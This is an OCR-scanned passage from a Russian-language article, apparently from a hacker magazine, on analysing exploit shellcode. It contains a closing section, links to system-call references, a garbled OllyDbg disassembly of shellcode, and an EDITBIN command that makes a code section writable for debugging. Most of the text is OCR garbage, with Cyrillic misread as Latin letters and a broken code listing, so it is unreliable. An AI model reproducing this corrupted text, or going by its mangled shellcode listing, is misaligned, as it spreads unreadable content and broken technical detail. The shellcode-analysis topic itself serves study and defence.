nn 6panamMayap 6yaeT He NpoYb, HO NPo 06xo4 6paHLMayapoB
Y€ HEOQHOKPATHO Nucany.

3aknrouenue

BOT Mbl ¥ MO3HAKOMUANCH C OCHOBHBLIMW NPUEMaMM UCCeno-
BaHus akcnnonTtos. OcTanbHble aHaNM3MPYITCA aHanorMyHo.
[MaBHOE He TepATbLCS 1 BCErAa B II0O0M CUTYaLMMN MOMHUTB, YTO
NHTepHeT psagom ¢ Toboi! [JocTaToyHO NnLLb MPaBUIIbHO CO-
CTaBUTb 3anpoc, U BCE HEAOKYMEHTUPOBAHHbIE CTPYKTYpbI By-
LyT BUOHbI KaK Ha TafioHW, BEAb Heapa onepaLMoHHbIX CUCTEM
YK€ N3PbITbl BLOMb M NMOMEPEK, TaK YTO KpaHe MasioBeposiTHO
BCTPETUTb B shell-kofe HeYTo NpuHUMNManbHo HoBoe. To eCTb
BCTPETUTb Kak pas-Taki O4eHb [axe BepOsiTHO, HO «HOBbIM>»
OHO NPOBYZET OT CWMbl Hegent. Hy nycTb gecaTb aHen. A noc-
ne Ha4yHeT pacnonaartbecs No opymMam, 3NEKTPOHHbIM 1 By-
MaXKHbIM XYypHanam, 6ygeT 06CyXaaTbCs B KypUIikax 1 xakep-
CKMX Kynyapax HakoHeLl. A 3atem Microsoft BbinycTut o4epes-
HOE 1CnpaBieHne K CBOEN 3aMeYaTtenibHO CUCTEME, U TaKUM
TPYZOM JOO6bLITbIE TPIOKU CTAHYT HEAKTyanbHbIMU. @

1. CuctemHble Bbi3oBbl NT. Hanbonee nonHas Konnekums cucTem-
HbIX BbI30BOB BCEW NUHENKKN NT-NOJOOHBIX CUCTEM, KpanHe Mno-
nesHa Lns uccnegfosarteneit (Ha aHrnuiickom a3blke): http:/www.
metasploit.com/users/opcode/syscalls.html;

2. CucteMHble Bbi3oBbl Mo LINUX. SHUMKNONeaus CUCTEMHbIX BbI30-
BOB pa3nuyHbix LINUX-nogo6HbIX cructem ¢ npotoTnnamu, a koe-
roe u ¢ KOMMEHTapUSAMM (Ha aHrMMACKOM si3bIke): http://www.Ixhp.
in-berlin.de/lhpsyscal.html.

0llyDbyg - test.exe - [CPU - main thiead, module test]

[€] Fie View Debug Plugine Optians Window Help

S|4 x| wju] wi+ 1 4| - LlE[sT|wEe]| kBRI 5] =] 2
6648137C 2C9 SUB ECX,ECX

8B4B137E SUB ECX

66461381
88481383
66401387
08401388

00401394  FC
00401395  6A EB
80401397 4D
00401398  E8 FOFFFFE
86401390

B040139E

BBuB139F
004013A0|

Pucynox 4. Shell-xom, ornaxusaemmit B omnamumke OllyDbg

[locne 370N HECIOXHOW XMPYPryeCKo onepaLyn UCNOSTHAEMbIV
chavin MOXHO OTNaxmeatb Nt0ObIM OTNAAYMKOM — XOTb SOft-ice, XOTb
OllyDbg, Ho nepen 3TMM HEOOGXOAMMO OTPedaKTMPOBaTb aTpUbyThl
KOLOBOW Ccekuumn (06bI4HO OHa HasbiBaeTcs .text), paspeLums ee mMo-
andumkaumio, nHade shell-kog BbIGPOCUT UCKITHOHEHWE NPU NEPBOM Xe
nonbITKe 3anucu. MNpoLue Bcero o6padoTtarb harn ¢ MOMOLLbIO Y TUK-
7ol EDITBIN, BXOASiLLEN B LUTATHbIA KOMMEKT NOCTaBKM KOMIUAATOpa
Microsoft Visual C++, 3anycTuB ee cnepyoLimmMm 06pasom:

Jinctmrr 20. CHATME C KONOBOM CEKLMM BampeTa Ha 3ammuch
EDITBIN filename.exe /SECTION:.text,rwe
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